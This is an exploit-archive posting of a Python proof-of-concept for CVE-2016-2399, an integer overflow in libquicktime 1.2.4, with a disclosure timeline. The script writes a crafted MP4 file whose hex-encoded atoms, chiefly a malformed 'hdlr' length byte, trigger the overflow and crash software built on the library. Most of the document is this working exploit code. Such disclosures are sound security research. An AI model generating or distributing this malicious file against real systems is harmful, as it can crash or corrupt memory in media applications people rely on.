exploit the possibilities

libquicktime 1.2.4 Integer Overflow

libquicktime 1.2.4 Integer Overflow
Posted Feb 23, 2016
Authored by Marco Romano

libquicktime version 1.2.4 suffers from an integer overflow vulnerability.

tags | exploit, overflow
advisories | CVE-2016-2399
MD5 | c29b687e6f50b986a7c9fd38c301bb43

libquicktime 1.2.4 Integer Overflow

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#!/usr/bin/env python
#
###
# - 7 February 2016 -
# My last bug hunting session (*for fun and no-profit*)
# has been dedicated to libquicktime
###
#
# Author: Marco Romano - @nemux_ http://www.nemux.org
# libquicktime 1.2.4 Integer Overflow
#
# Product Page: http://libquicktime.sourceforge.net/
# Description: 'hdlr', 'stsd', 'ftab' MP4 Atoms Integer Overflow
# Affected products: All products using libquicktime version <= 1.2.4
#
# CVE-ID: CVE-2016-2399
#
# Disclosure part: http://www.nemux.org
#
########
####### Timeline
#
# 07 Feb 2016 Bug discovered
# 17 Feb 2016 Mitre.org contacted
# 17 Feb 2016 Disclosed to the project's maintainer
# 23 Feb 2016 No response from the maintainer
# 23 Feb 2016 Publicly disclosed
#
########
####### References
#
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2399
# http://libquicktime.sourceforge.net/
# http://www.linuxfromscratch.org/blfs/view/svn/multimedia/libquicktime.html
# https://en.wikipedia.org/wiki/QuickTime\_File\_Format
#
#######
#
# DISCLAIMER: It's just a PoC... it will crash something
#
####
import sys
import struct
import binascii

"""
There needs to be an mp4 file with these nested atoms to trigger the bug:
moov -> trak -> mdia -> hdlr
"""
hax0r_mp4 = ("0000001C667479704141414100000300336770346D70343133677036000000086D646174000001B1"
"6D6F6F76" #### moov atom
"0000006C6D76686400000000CC1E6D6ECC1E6D6E000003E80000030200010000010000000000000000000000"
"000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000000"
"00000000000000000000000000000003000000FD756474610000001263707274000000000000FEFF0000000000126175"
"7468000000000000FEFF0000000000127469746C000000000000FEFF00000000001264736370000000000000FEFF0000"
"0000001270657266000000000000FEFF000000000012676E7265000000000000FEFF00000000001A72746E6700000000"
"00000000000000000000FEFF000000000018636C7366000000000000000000000000FEFF00000000000F6B7977640000"
"000055C400000000276C6F6369000000000000FEFF000000000000000000000000000000FEFF0000FEFF0000000000FF"
"616C626D000000000000FEFF0000010000000E79727263000000000000000002E4"
"7472616B" #### trak atom
"0000005C746B686400000001CC1E6D6ECC1E6D6E00000001000000000000030000000000000000000000000001000000"
"000100000000000000000000000000000001000000000000000000000000000040000000000000000000000000000040"
"6D646961" #### mdia atom
"000000206D64686400000000CC1E6D6ECC1E6D6E00003E800000300000000000000000"
"4E" #### hdlr atom length
"68646C72" #### hdlr atom
"0000000000"
"4141414141414141" #### our airstrip :)
"0000000000000000000000"
"EC" #### 236 > 127 <-- overflow here and a change in signedness too
"616161000000FF736F756E000000000000000000000000536F756E6448616E646C6572000000012B6D696E6600000010")

hax0r_mp4 = bytearray(binascii.unhexlify(hax0r_mp4))

def createPoC():
try:
with open("./nemux.mp4","wb") as output:
output.write(hax0r_mp4)
print "[*] The PoC is done!"
except Exception,e:
print str(e)
print "[*] mmmm!"

def usage():
print "\nUsage? Run it -> " + sys.argv[0]
print "this poc creates an mp4 file named nemux.mp4"
print "--------------------------------------------"
print "This dummy help? " + sys.argv[0] + " help\n"
sys.exit()

if __name__ == "__main__":
try:
if len(sys.argv) == 2:
usage()
else:
print "\nlibquicktime <= 1.2.4 Integer Overflow CVE-2016-2399\n"
print "Author: Marco Romano - @nemux_ - http://www.nemux.org\n\n";
createPoC();
except Exception,e:
print str(e)
print "Ok... Something went wrong..."
sys.exit()



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